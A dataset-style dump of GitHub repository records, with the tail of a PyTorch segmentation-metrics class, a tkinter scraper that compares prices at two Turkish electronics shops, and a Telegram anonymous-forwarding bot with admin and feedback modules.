= []\n self.dice_neg_scores = []\n self.dice_pos_scores = []\n self.iou_scores = []\n self.batch_dice_scores = []\n self.batch_dice_neg_scores = []\n self.batch_dice_pos_scores = []\n self.batch_iou_scores = []\n\n def update(self, outputs, targets):\n pdb.set_trace()\n probs = torch.sigmoid(outputs)\n dice, dice_neg, dice_pos, _, _ = self._cal_metric(probs, targets, self.base_threshold)\n self.base_dice_scores.append(dice)\n self.dice_pos_scores.append(dice_pos)\n self.dice_neg_scores.append(dice_neg)\n preds = self._get_prediction(probs, self.base_threshold)\n iou = self._cal_iou(preds, targets.numpy(), classes=[1])\n self.iou_scores.append(iou)\n\n def epoch_log(self, epoch, loss, time):\n pdb.set_trace()\n batch_dice_score, batch_dice_neg, batch_dice_pos, batch_iou_score = \\\n self._cal_epoch_avg(self.base_dice_scores, self.dice_neg_scores,\n self.dice_pos_scores, self.iou_scores)\n\n self.batch_dice_scores.append(batch_dice_score)\n self.batch_dice_neg_scores.append(batch_dice_neg)\n self.batch_dice_pos_scores.append(batch_dice_pos)\n self.batch_iou_scores.append(batch_iou_score)\n\n del self.base_dice_scores[:]\n del self.dice_neg_scores[:]\n del self.dice_pos_scores[:]\n del self.iou_scores[:]\n print(f\"Phase : {self.phase}, Epoch: {epoch}, Time : {time}\")\n print(f\"Loss: {loss} | dice_pos_score: {batch_dice_pos} | dice_neg_score: {batch_dice_neg} | \"\n f\"dice_score: {batch_dice_score} | iou: {batch_iou_score}\")\n\n def _cal_epoch_avg(self, dice_score, dice_neg, dice_pos, iou_score):\n pdb.set_trace()\n batch_dice_score = sum(dice_score) / len(dice_score)\n batch_dice_neg = sum(dice_neg) / len(dice_neg)\n batch_dice_pos = sum(dice_pos) / len(dice_pos)\n iou_score = np.array(iou_score)\n batch_iou_score = np.nanmean(iou_score, axis=0)\n\n return batch_dice_score, batch_dice_neg, batch_dice_pos, batch_iou_score\n\n def _cal_metric(self, probs, targets, threshold = 0.5, reductiom = \"none\"):\n pdb.set_trace()\n batch_size = targets.shape[0]\n probability = probs.view(batch_size, -1)\n truth = targets.view(batch_size, -1)\n assert (probability.shape == truth.shape), \"outputs and targets shape don't match\"\n\n p = (probability > threshold).float()\n t = (truth > threshold).float()\n p_sum = torch.sum(p, dim=-1)\n t_sum = torch.sum(t, dim=-1)\n neg_index = torch.nonzero(t_sum == 0)\n pos_index = torch.nonzero(t_sum >= 1)\n\n dice_neg = (p_sum == 0).float()\n dice_pos = 2 * (p * t).sum(dim=-1) / ((p + t).sum(-1))\n dice_neg = dice_neg[neg_index]\n dice_pos = dice_pos[pos_index]\n dice = torch.cat([dice_pos, dice_neg])\n\n dice_neg = np.nan_to_num(dice_neg.mean().item(), 0)\n dice_pos = np.nan_to_num(dice_pos.mean().item(), 0)\n dice = dice.mean().item()\n\n num_neg = len(neg_index)\n num_pos = len(pos_index)\n\n return dice, dice_neg, dice_pos, num_neg, num_pos\n\n def _get_prediction(self, probs, threshold):\n pdb.set_trace()\n preds = (probs > threshold).float()\n return preds\n\n def _cal_iou(self, outputs, labels, classes, only_present = True):\n pdb.set_trace()\n ious = []\n for c in classes:\n label_c = labels == c\n if only_present and np.sum(label_c) == 0:\n ious.append(np.nan)\n continue\n pred_c = outputs == c\n intersection = np.logical_and(pred_c, label_c).sum()\n union = np.logical_or(pred_c, label_c).sum()\n if union != 0:\n ious.append(intersection / union)\n\n return ious if ious else [1]\n\n\n\n\n\n\n\n\n\n\n" } ]
18
yuceelege/cheap-electronic-finder
https://github.com/yuceelege/cheap-electronic-finder
6bf73e770066605e95afbc8816f0613d18972844
76ebf1cd0a8066f5f635019f2005ae9b5cd76122
811815f196b39882ddf7b84273048a7856544af7
refs/heads/main
2023-02-12T03:31:34.610996
2021-01-15T06:31:15
2021-01-15T06:31:15
327,633,767
2
0
null
null
null
null
null
[ { "alpha_fraction": 0.45085468888282776, "alphanum_fraction": 0.47079771757125854, "avg_line_length": 24.769229888916016, "blob_id": "55ca6e58d4f6bb29f424c39d962cf5b9ff87147c", "content_id": "fcba73bd345b0701d9db1455cc3b352c92f1e89f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1404, "license_type": "permissive", "max_line_length": 83, "num_lines": 52, "path": "/search.py", "repo_name": "yuceelege/cheap-electronic-finder", "src_encoding": "UTF-8", "text": "import tkinter as tk\r\nimport tkinter.font as font\r\n\r\n\r\nclass Window():\r\n def __init__(self,master,search=None):\r\n \"\"\"\r\n Parameters\r\n ----------\r\n master : object\r\n tkinter master object.\r\n search : str\r\n searched product written in the entry box\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n self.master = master\r\n self.search = search\r\n master.title('Cheapest Electronic Components')\r\n master.geometry('800x500')\r\n \r\n myFont = font.Font(family='Helvetica', size=18, weight='bold')\r\n label = tk.Label(master,text='Search an Electrical Component',font=myFont) \r\n label.place(x =155,y =150)\r\n \r\n entry = tk.Entry(master,fg='black',bg='white',width=35)\r\n entry.place(x =255,y =250)\r\n \r\n def set_value():\r\n \"\"\"\r\n Sets the entry box as search value\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n self.search = entry.get()\r\n master.destroy()\r\n \r\n button = tk.Button(master,text='Show Results', command = set_value)\r\n button.place(x =330,y =350)\r\n \r\n def get_value(self):\r\n \"\"\"\r\n Returns\r\n -------\r\n str\r\n value of the search parameter.\r\n \"\"\"\r\n return self.search\r\n \r\n \r\n" }, { "alpha_fraction": 0.4773365557193756, "alphanum_fraction": 0.49618932604789734, "avg_line_length": 20.776256561279297, "blob_id": "ae024ee1d917cf16b186a2007f6905cc72074789", "content_id": "24f14b8f849d938661dc042787ed7f4a63b839bf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4986, "license_type": "permissive", "max_line_length": 90, "num_lines": 219, "path": "/app.py", "repo_name": "yuceelege/cheap-electronic-finder", "src_encoding": "UTF-8", "text": "import main\r\nimport tkinter as tk\r\nimport tkinter.font as font\r\nimport os\r\nimport sys\r\nimport pandas as pd\r\nfrom PIL import ImageTk, Image\r\nimport webbrowser \r\n\r\n#Confirms that main.py ended\r\nwhile main.wait:\r\n pass\r\n\r\n#Extracts the data of products\r\ndf = pd.read_csv('results.csv', delimiter=',',encoding = \"unicode_escape\")\r\n\r\n\r\n\r\nclass Option():\r\n def __init__(self,name,price,img_index,link):\r\n \"\"\"\r\n Parameters\r\n ----------\r\n name : str\r\n name of the product.\r\n price : str\r\n price of the product.\r\n img_index : str\r\n number of the image of product in images file.\r\n link : str\r\n link of the product.\r\n Returns\r\n -------\r\n None.\r\n \"\"\"\r\n self.__name = name\r\n self.__price = price\r\n self.__index = img_index\r\n self.__link = link\r\n \r\n def get_name(self):\r\n \"\"\"\r\n Returns\r\n -------\r\n str\r\n name of the product object.\r\n \"\"\"\r\n return self.__name\r\n \r\n def get_price(self):\r\n \"\"\"\r\n Returns\r\n -------\r\n str\r\n price of the product object.\r\n \"\"\"\r\n return self.__price\r\n \r\n def get_img(self):\r\n \"\"\"\r\n Returns\r\n -------\r\n str\r\n img index of the product object.\r\n \"\"\"\r\n return self.__index\r\n \r\n def get_link(self):\r\n \"\"\"\r\n Returns\r\n -------\r\n str\r\n link of the product object.\r\n \"\"\"\r\n return self.__link\r\n\r\n \r\n#Creates a list consisting of product objects\r\noption = []\r\nfor row in range(len(df)):\r\n option.append(Option(df.iloc[row][0],df.iloc[row][1],df.iloc[row][2],df.iloc[row][3]))\r\n \r\ndisplay = tk.Tk()\r\ndisplay.geometry('1800x900')\r\ndisplay.title('Best Results')\r\n\r\nmyfont = font.Font(family='Helvetica', size=15)\r\npositions = [x for x in range(0,800,200)]\r\n\r\n\r\nclass Frame():\r\n def __init__(self,obj,position):\r\n \"\"\"\r\n Parameters\r\n ----------\r\n obj : object\r\n product .\r\n position : int\r\n order of the products on display page.\r\n Returns\r\n -------\r\n None.\r\n \"\"\"\r\n self.obj = obj\r\n self.position = position\r\n def create_frame(self):\r\n \"\"\"\r\n Generates a frame that consists the product object\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n frame = tk.Frame(display, bg='white', width=1800, height=200)\r\n frame.place(x = 0,y = int(self.position))\r\n l1 = tk.Label(frame,text = self.obj.get_name(),font = myfont)\r\n l1.place(x =20,y = 80)\r\n l2 = tk.Label(frame,text = \"Price: \"+str(self.obj.get_price()),font = myfont)\r\n l2.place(x =1200,y = 80)\r\n label = tk.Label(frame)\r\n img = Image.open(r\"images\\{}.jpg\".format(str(self.obj.get_img())))\r\n img = img.resize((150, 150), Image.ANTIALIAS)\r\n label.img = ImageTk.PhotoImage(img)\r\n label['image'] = label.img\r\n label.place(x = 850, y = 0)\r\n \r\n def callback():\r\n \"\"\"\r\n Goes to the website to buy the product by using hyperlink\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n webbrowser.open_new(str(self.obj.get_link()))\r\n \r\n button = tk.Button(frame,text='Buy', command = callback)\r\n button.place(x =1600,y =80)\r\n\r\n\r\npage = 1\r\npage_max = len(option)//4+int(bool(len(option)%4))\r\n\r\ndef frame_display(pg):\r\n \"\"\"\r\n Initiates the create_frame function for the appropriate page\r\n Parameters\r\n ----------\r\n pg : int\r\n Current page number\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n try:\r\n for n,i in enumerate([p+(pg-1)*4 for p in range(4)]):\r\n x = Frame(option[i],positions[n]).create_frame()\r\n except:\r\n pass\r\n \r\ndef pg_forward():\r\n \"\"\"\r\n Moves to the following page\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n global page\r\n if not page == page_max:\r\n page += 1\r\n frame_display(page)\r\n\r\n \r\ndef pg_back():\r\n \"\"\"\r\n Moves to the back page\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n global page\r\n if not page == 1:\r\n page -= 1\r\n frame_display(page)\r\n \r\ndef quit_page():\r\n \"\"\"\r\n Quits the page and deletes the unnecessary files\r\n\r\n Returns\r\n -------\r\n None.\r\n\r\n \"\"\"\r\n d = 'images'\r\n for f in os.listdir(d):\r\n os.remove(os.path.join(d, f))\r\n os.remove('results.csv')\r\n display.destroy()\r\n os.rmdir('images')\r\n \r\n\r\nframe_display(page)\r\n \r\nbutton2 = tk.Button(display,text='Forward', command = pg_forward)\r\nbutton2.place(x =1650,y =800)\r\n\r\nbutton3 = tk.Button(display,text='Back', command = pg_back)\r\nbutton3.place(x =1600,y =800)\r\n\r\nbutton3 = tk.Button(display,text='Quit', command = quit_page)\r\nbutton3.place(x =1730,y =800)\r\n\r\n\r\ndisplay.mainloop()" }, { "alpha_fraction": 0.7738515734672546, "alphanum_fraction": 0.7738515734672546, "avg_line_length": 46.125, "blob_id": "eee8ad3d5e2e5ca315190ac50552b66d86acb833", "content_id": "72c20442fa7823a9ff226c2579c66ce0008cc3c9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1132, "license_type": "permissive", "max_line_length": 146, "num_lines": 24, "path": "/README.md", "repo_name": "yuceelege/cheap-electronic-finder", "src_encoding": "UTF-8", "text": "# cheap-electronic-finder (BETA)\nThis program analyses some of the most popular electronic component stores in Turkey and offers the most suitable products.\n\n## Prerequisite Libraries\n-Tkinter <br/>\n-Requests <br/>\n-BeautifulSoup <br/>\n-Numpy <br/>\n-Pillow <br/>\n-webbrowser\n\n## WARNING\nIt is strongly recommended not to open the program from command prompt but instead from a python interpreter <br/>\nbecause there may be some problems about the buttons depending on your installed system.\n\n## WARNING\nIn order to start the program **app.py** must be initialized.\n\n## Method\n-For the BETA version, two of the most popular electronic component sellers are taken into consideration. <br/>\n-The program displays two windows one by one, first asking to search for an electronic device then the second shows the appropriate results. <br/>\n-The program shows the cheapest options as the customer desires. <br/>\n-'Buy' option is also included in the program. It directs the customer to the appropriate link. <br/>\n-If the customer doesn't like the options in the first page, s/he can move to the other pages and see different offerings.\n\n" }, { "alpha_fraction": 0.5776088237762451, "alphanum_fraction": 0.5894074440002441, "avg_line_length": 24.48611068725586, "blob_id": "fff58872bea1f66ef4318944a7962ae41b0168c2", "content_id": "f4183f3dcfbe573d53685b9ee4c7770df1d55832", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3814, "license_type": "permissive", "max_line_length": 96, "num_lines": 144, "path": "/main.py", "repo_name": "yuceelege/cheap-electronic-finder", "src_encoding": "UTF-8", "text": "import search\r\nimport tkinter as tk\r\nimport requests\r\nfrom bs4 import BeautifulSoup\r\nimport numpy as np\r\nimport sys\r\nimport os\r\n\r\ntry:\r\n os.makedirs('images')\r\nexcept:\r\n d = 'images'\r\n for f in os.listdir(d):\r\n os.remove(os.path.join(d, f))\r\n\r\nroot = tk.Tk()\r\npage = search.Window(root)\r\nroot.mainloop()\r\nwait = True\r\ntarget = page.get_value()\r\n\r\nimg_count = 0\r\np_name = []\r\nprices = []\r\nimage_list = []\r\nlinks = []\r\n\r\ndef image_downloader(lst): \r\n \"\"\"\r\n Parses the image file from html code and downloads it\r\n Parameters\r\n ----------\r\n lst : list\r\n html code.\r\n Returns\r\n -------\r\n None.\r\n \"\"\"\r\n global img_count\r\n for img in lst:\r\n response = requests.get(img)\r\n file = open(\"images\\{}.jpg\".format(img_count+1), \"wb\")\r\n file.write(response.content)\r\n file.close()\r\n img_count +=1\r\n \r\ndef price_fixer(price):\r\n \"\"\"\r\n Removes the unnecessary strings from the price tag\r\n Parameters\r\n ----------\r\n price : str\r\n raw price decription taken from the website.\r\n\r\n Returns\r\n -------\r\n float\r\n filtered price .\r\n \"\"\"\r\n price = price.replace('KDV',\"\")\r\n price = price.replace('TL',\"\")\r\n price = price.replace('+',\"\")\r\n price = price.replace('.',\"\")\r\n price = price.replace(',',\".\")\r\n price = price.replace('\\n',\"\")\r\n price = price.replace(' ',\"\")\r\n return float(price)\r\n\r\n\r\ntry:\r\n if len(target.strip().split()) !=1:\r\n target = target.strip().replace(\" \",\"+\")\r\nexcept:\r\n sys.exit()\r\n \r\nurl = 'https://www.robotistan.com/arama?q={}'.format(target)\r\n\r\nr = requests.get(url)\r\nsoup = BeautifulSoup(r.text,'html5lib')\r\nlst = soup.find_all(\"div\",{\"class\":\"col col-3 col-md-4 col-sm-4 col-xs-6 productItem ease\"})\r\n\r\n\r\n#Parsing information from https://www.robotistan.com\r\nfor p in lst:\r\n link = \"robotistan.com\"+p('a',{'class':'col col-12 productDescription'})[0].get('href')\r\n links.append(link)\r\n name = p('a',{'class':'col col-12 productDescription'})[0].get('title')\r\n name += ' -Robotistan'\r\n name = name.replace(\",\",\" \")\r\n price = p('div',{'class':'currentPrice'})[0].text\r\n p_name.append(name)\r\n try:\r\n prices.append(price_fixer(price))\r\n except:\r\n prices.append('unknown')\r\n \r\n image = p('img',{'class':\"active\"})[0].get('src')\r\n image_list.append(image)\r\n\r\n \r\nr.close()\r\n\r\n\r\n#Parsing information from https://www.direnc.net\r\nurl2 = 'https://www.direnc.net/arama?q={}'.format(target)\r\n\r\nr2 = requests.get(url2)\r\nsoup2 = BeautifulSoup(r2.text,'html5lib')\r\n\r\nlst2 = soup2.find_all(\"div\",{\"class\":\"fl col-3 col-md-4 col-sm-6 col-xs-12 productItem ease\"})\r\n\r\nfor p in lst2:\r\n link = \"direnc.net\"+p.find_all('a',{'class':'col col-12 productDescription'})[0].get('href')\r\n links.append(link)\r\n name = p.find_all('a',{'class':'col col-12 productDescription'})[0].get('title')\r\n name += ' - Direnc'\r\n name = name.replace(\",\",\" \")\r\n price = p('span',{'class':'currentPrice'})[0].text\r\n p_name.append(name)\r\n try:\r\n prices.append(price_fixer(price))\r\n except:\r\n prices.append('unknown')\r\n print('hey',price)\r\n image = p('span',{'class':'imgInner'})[0]('img')[0].get('data-src')\r\n image_list.append(image)\r\n\r\nr2.close()\r\n\r\n\r\nimage_downloader(image_list) \r\n\r\n#Gathers all the data into single multidimendional numpy array\r\nfinal_p = np.column_stack((np.array(p_name),np.array(prices).astype(np.object)\r\n,np.arange(1,len(image_list)+1).astype(np.object),np.array(links)))\r\n\r\n#Sorts the data according price in an ascending order\r\nfinal_sorted = final_p[np.argsort(final_p[:, 1])]\r\n\r\n#Saves the final data into a csv file\r\nnp.savetxt('results.csv',final_sorted,delimiter=',',fmt='%s')\r\n\r\n#This is a flag for the next script (app.py)\r\nwait = False\r\n" } ]
4
mysaleslee/telegram-forward-bot
https://github.com/mysaleslee/telegram-forward-bot
8cc369b9f4db016757fc0c8b12f32119e127d061
ef5e73266ffd7bdf376401f9b2e540851e0f025f
c5d635690f434393627cce5f0f62dc608faf839a
refs/heads/master
2022-12-10T10:56:57.451493
2020-08-02T20:51:22
2020-08-02T20:51:22
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7407407164573669, "alphanum_fraction": 0.7407407164573669, "avg_line_length": 12.75, "blob_id": "37ad7fed50ddbf6c1f741ccd45ef55df3358d62e", "content_id": "f8fb5cfbb895d74af27eb76d5b9af970041367af", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 54, "license_type": "permissive", "max_line_length": 32, "num_lines": 4, "path": "/shell/gitpull.sh", "repo_name": "mysaleslee/telegram-forward-bot", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\ncd /home/pi/telegram-forward-bot\ngit pull" }, { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.800000011920929, "avg_line_length": 32.66666793823242, "blob_id": "23cdf7ae0575bb5018b929623ccd63c7d293e063", "content_id": "839e6bb0d428cc22ce174d7ea92e4695390143b2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 100, "license_type": "permissive", "max_line_length": 44, "num_lines": 3, "path": "/shell/restart.sh", "repo_name": "mysaleslee/telegram-forward-bot", "src_encoding": "UTF-8", "text": "#!/bin/bash\nsystemctl --user restart forward_bot_service\nsystemctl --user status forward_bot_service" }, { "alpha_fraction": 0.6534466743469238, "alphanum_fraction": 0.6562795042991638, "avg_line_length": 23.090909957885742, "blob_id": "46743ddc68af1c30523594a3552da809f25a57ae", "content_id": "6177e7bcd082900704f537c752e5bb87a636aafa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1059, "license_type": "permissive", "max_line_length": 61, "num_lines": 44, "path": "/config.py", "repo_name": "mysaleslee/telegram-forward-bot", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport json\nimport os\n\nloads = json.loads\nload = json.load\ndumps = json.dumps\ndump = json.dump\n\nconfig_file = \"\"\n\nCONFIG = {}\n\ndef load_config():\n global CONFIG\n with open(config_file, 'r') as configfile:\n CONFIG = load( configfile )\n return CONFIG\n\ndef save_config():\n (filepath,filename) = os.path.split(config_file)\n folder = os.path.exists(filepath)\n if not folder:\n os.makedirs(filepath)\n \n with open(config_file, 'w') as configfile:\n dump(CONFIG, configfile, indent=4,ensure_ascii=False)\n\ndef setdefault():\n CONFIG.setdefault(\"Admin\",\"\")\n CONFIG.setdefault(\"Token\",\"\")\n CONFIG.setdefault(\"Publish_Group_ID\",[])\n CONFIG.setdefault(\"Feedback\",True)\n CONFIG.setdefault(\"Update_shell\",\"\")\n CONFIG.setdefault(\"Restart_shell\",\"\")\n CONFIG.setdefault(\"Feedback_alert\",False)\n CONFIG.setdefault(\"Feedback_text\",\"\")\n CONFIG.setdefault(\"Feedback_answer\",\"\")\n save_config()\n\ndef get_json():\n return dumps(CONFIG,indent=4,ensure_ascii=False)" }, { "alpha_fraction": 0.6061791181564331, "alphanum_fraction": 0.6077434420585632, "avg_line_length": 31.794872283935547, "blob_id": "45d77ece7db3376cb5690ff6c34e212131493471", "content_id": "186670af72073171cd4d1776ca5ae3cf5bdaf0dc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2739, "license_type": "permissive", "max_line_length": 91, "num_lines": 78, "path": "/admincmd.py", "repo_name": "mysaleslee/telegram-forward-bot", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"使用说明\n\nimport admincmd\n\nadmincmd.add_dispatcher(dispatcher)\n\n然后自己来改下cmds,设置命令名和按钮名。这样就支持 /admin 和所有的按钮回调了。注意,cmds的callback名一定要admin:开头。\n\"\"\"\n\nfrom telegram import Update,InlineKeyboardButton,InlineKeyboardMarkup\nfrom telegram.ext import CommandHandler,Dispatcher,CallbackQueryHandler,CallbackContext\nimport config\nfrom json import dumps\nimport os\n\ncmds = {\n \"admin:config\":\"配置\",\n \"admin:update\":\"更新\",\n \"admin:restart\":\"重启\",\n \"admin:status\":\"状态\",\n \"admin:help\":\"帮助\"\n }\n\ndef admin_cmd_callback(update : Update, context : CallbackContext):\n if update.callback_query.from_user.id == config.CONFIG['Admin'] :\n msg=\"\"\n query = update.callback_query\n if query.data == \"admin:config\":\n cfg = config.CONFIG.copy()\n cfg['Token'] = \"***\"\n query.answer(\"获取配置\")\n msg = dumps(cfg,indent=4,ensure_ascii=False)\n elif query.data == \"admin:status\":\n shell=config.CONFIG['Status_shell'] + ' > /tmp/status.txt'\n os.system(shell)\n msg = \"反回信息:\\n\" + open(\"/tmp/status.txt\").read()\n query.answer(\"获取状态\")\n elif query.data == \"admin:restart\":\n shell=config.CONFIG['Restart_shell'] + ' > /tmp/restart.txt'\n os.system(shell)\n msg = \"反回信息:\\n\" + open(\"/tmp/restart.txt\").read()\n query.answer(\"重启服务\")\n elif query.data == \"admin:help\":\n msg = help()\n query.answer()\n elif query.data == \"admin:update\":\n shell=config.CONFIG['Update_shell'] + ' > /tmp/gitpull.txt'\n os.system(shell)\n msg = \"反回信息:\\n\" + open(\"/tmp/gitpull.txt\").read()\n query.answer(\"更新代码\")\n if msg != query.message.text :\n query.edit_message_text(text=msg,reply_markup=init_replay_markup())\n\ndef init_buttons():\n buttons = []\n for key in cmds:\n buttons.append(InlineKeyboardButton(cmds[key], callback_data=key ) )\n return buttons\n\ndef init_replay_markup():\n return InlineKeyboardMarkup([init_buttons()])\n\ndef help():\n msg = \"\"\"\n都按按钮吧\n\"\"\"\n return msg\n\ndef admin_cmd(update : Update, context : CallbackContext):\n if update.message.from_user.id == config.CONFIG['Admin'] :\n msg = help()\n update.message.reply_text(msg,reply_markup=init_replay_markup()) \n\ndef add_dispatcher(dp: Dispatcher):\n dp.add_handler(CommandHandler([\"admin\"], admin_cmd))\n dp.add_handler(CallbackQueryHandler(admin_cmd_callback,pattern=\"^admin:[A-Za-z0-9_]*\"))" }, { "alpha_fraction": 0.5732373595237732, "alphanum_fraction": 0.5744786262512207, "avg_line_length": 34.179039001464844, "blob_id": "c4d739dcc8a20ac8f47987db3eefacb51c83b096", "content_id": "aaa70b3f933a8eac74156d8c32cc54ab708e0275", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8579, "license_type": "permissive", "max_line_length": 136, "num_lines": 229, "path": "/main.py", "repo_name": "mysaleslee/telegram-forward-bot", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport config\nfrom feedback import feedback\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackQueryHandler\nimport telegram\nimport os\nimport logging\nimport getopt\nimport sys\nimport mysystemd\nimport admincmd\nfrom telegram.inline.inlinekeyboardmarkup import InlineKeyboardMarkup\nfrom json import dumps\n\nlogging.basicConfig(level=logging.INFO,\n format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'\n )\n\ndef check_member(bot,chatid,userid):\n try:\n bot.get_chat_member(chatid,userid)\n return True\n except telegram.TelegramError as e:\n return False\n\ndef check_admin(bot,chatid,userid):\n try:\n member = bot.get_chat_member(chatid,userid)\n if member.status in [ 'administrator' , 'creator']:\n return True\n return False\n except telegram.TelegramError as e:\n return False\n\n\ndef process_msg(update, context):\n bot = context.bot\n if update.channel_post != None:\n return\n\n if update.message.from_user.id == update.message.chat_id:\n member = False\n for chat_id in CONFIG['Publish_Group_ID']:\n if check_member(bot,chat_id,update.message.from_user.id):\n member = True\n if member :\n send_anonymous_post(bot, update.message,update.message.from_user)\n else:\n update.message.reply_text('您不是我们匿名了天群的用户,所以我什么都做不了。寂寞总让人伤感,找个朋友去聊天吧~')\n\n\ndef process_command(update, context):\n bot = context.bot\n if update.channel_post != None:\n return\n command = update.message.text[1:].replace(CONFIG['Username'], ''\n ).lower()\n if command == 'start' or command == 'help':\n helptext = \"将文字、图片、音频/语音、视频、文件发送给我,我将直接把对它们匿名转发到你所在的群\"\n if update.message.from_user.id == CONFIG['Admin'] or check_admin(bot,CONFIG['Publish_Group_ID'][0],update.message.from_user.id):\n helptext += \"\"\"\n\n管理员指令:\n/feedbackoff 关闭所有匿名发送的反馈\n/feedbackon 打开所有匿名发送的反馈\n \"\"\"\n\n if update.message.from_user.id == CONFIG['Admin']:\n helptext +=\"\"\"\n\nBot管理员指令\n/admin 进入Bot管理员指令菜单\n/setfeedback <str> 设置反馈按钮,每个按钮的文字用逗号分开\n/setanswer <str> 设置反馈按钮按下后的提示信息,应该和铵钮数量相同,用逗号分开\n \"\"\"\n \n bot.send_message(chat_id=update.message.chat_id,\n text=helptext)\n return\n\n if update.message.from_user.id == CONFIG['Admin'] or check_admin(bot,CONFIG['Publish_Group_ID'][0],update.message.from_user.id):\n if command == 'feedbackoff':\n CONFIG['Feedback']=False\n config.save_config()\n bot.send_message(chat_id=update.message.chat_id,\n text=\"Feedback已经关闭\")\n elif command == 'feedbackon':\n CONFIG['Feedback']=True\n config.save_config()\n bot.send_message(chat_id=update.message.chat_id,\n text=\"Feedback已经打开\")\n return\n\ndef set_answer(update,context):\n if update.message.from_user.id == CONFIG['Admin'] :\n try:\n CONFIG['Feedback_answer'] = context.args[0]\n config.save_config()\n update.message.reply_text('反馈消息已经更新为:%s' % CONFIG['Feedback_answer'])\n return\n except (IndexError, ValueError):\n update.message.reply_text('使用说明: /setanswer 赞了一把,踩了一脚,吐了一地\\n请使用逗号将每个按钮的反馈消息分开')\n\ndef set_feedback(update,context):\n if update.message.from_user.id == CONFIG['Admin'] :\n try:\n CONFIG['Feedback_text'] = context.args[0]\n config.save_config()\n update.message.reply_text('反馈按钮已经更新为:%s' % CONFIG['Feedback_text'] )\n return\n except (IndexError, ValueError):\n update.message.reply_text('使用说明: /setfeedback 👍,👎,🤮\\n请使用逗号将按钮分开')\n\ndef send_anonymous_post(bot, msg, editor):\n if CONFIG['Feedback']:\n replay_markup = feedback.init_replay_markup_str(CONFIG['Feedback_text'],CONFIG['Feedback_answer'])\n else:\n replay_markup = InlineKeyboardMarkup([[]])\n\n for chatid in CONFIG['Publish_Group_ID']:\n if msg.audio != None:\n r = bot.send_audio(chat_id=chatid,\n audio=msg.audio, caption=msg.caption,\n reply_markup=replay_markup)\n elif msg.document != None:\n r = bot.send_document(chat_id=chatid,\n document=msg.document,\n caption=msg.caption,\n reply_markup=replay_markup)\n elif msg.voice != None:\n r = bot.send_voice(chat_id=chatid,\n voice=msg.voice, caption=msg.caption)\n elif msg.video != None:\n r = bot.send_video(chat_id=chatid,\n video=msg.video, caption=msg.caption,\n reply_markup=replay_markup)\n elif msg.photo:\n r = bot.send_photo(chat_id=chatid,\n photo=msg.photo[0], caption=msg.caption,\n reply_markup=replay_markup)\n else:\n types = []\n for i in msg.entities:\n types.append(i.type)\n\n # print(msg,\"\\n\",types)\n if 'url' in types or 'text_link' in types:\n r = bot.send_message(chat_id=chatid,\n text=msg.text_markdown,\n parse_mode=telegram.ParseMode.MARKDOWN,\n reply_markup=replay_markup)\n else:\n r = bot.send_message(chat_id=chatid,\n text=msg.text_markdown,\n parse_mode=telegram.ParseMode.MARKDOWN)\n\n\ndef process_callback(update, context):\n if update.channel_post != None:\n return\n query = update.callback_query\n replay_markup = feedback.get_update_replay_markupr(query)\n query.edit_message_reply_markup(replay_markup)\n\ndef help():\n return \"'main.py -c <configpath>'\"\n\nif __name__ == '__main__':\n\n PATH = os.path.dirname(os.path.expanduser(\"~/.config/forwardbot/\"))\n\n try:\n opts, args = getopt.getopt(sys.argv[1:],\"hc:\",[\"config=\"])\n except getopt.GetoptError:\n print(help())\n sys.exit(2)\n\n for opt, arg in opts:\n if opt == '-h':\n print(help())\n sys.exit()\n elif opt in (\"-c\",\"--config\"):\n PATH = arg\n\n config.config_file = os.path.join(PATH,\"config.json\")\n try:\n CONFIG = config.load_config()\n except FileNotFoundError:\n print(\"config.json not found.Generate a new configuration file in %s\" % config.config_file)\n config.setdefault()\n sys.exit(2)\n\n updater = Updater(CONFIG['Token'], use_context=True)\n dispatcher = updater.dispatcher\n\n me = updater.bot.get_me()\n CONFIG['ID'] = me.id\n CONFIG['Username'] = '@' + me.username\n config.setdefault()\n print('Starting... (ID: ' + str(CONFIG['ID']) + ', Username: ' + CONFIG['Username'] + ')')\n\n if CONFIG['Feedback']:\n replay_markup = feedback.init_replay_markup_str(CONFIG['Feedback_text'],CONFIG['Feedback_answer'])\n \n # 加入/admin和它按钮的所有回调处理\n admincmd.add_dispatcher(dispatcher)\n\n dispatcher.add_handler(CommandHandler(\"setfeedback\", set_feedback,\n pass_args=True))\n dispatcher.add_handler(CommandHandler(\"setanswer\", set_answer,\n pass_args=True))\n dispatcher.add_handler(CallbackQueryHandler(process_callback))\n dispatcher.add_handler(MessageHandler(Filters.command,process_command))\n dispatcher.add_handler(MessageHandler( Filters.text\n | Filters.audio\n | Filters.photo\n | Filters.video\n | Filters.voice\n | Filters.document , process_msg))\n\n updater.start_polling()\n print('Started')\n 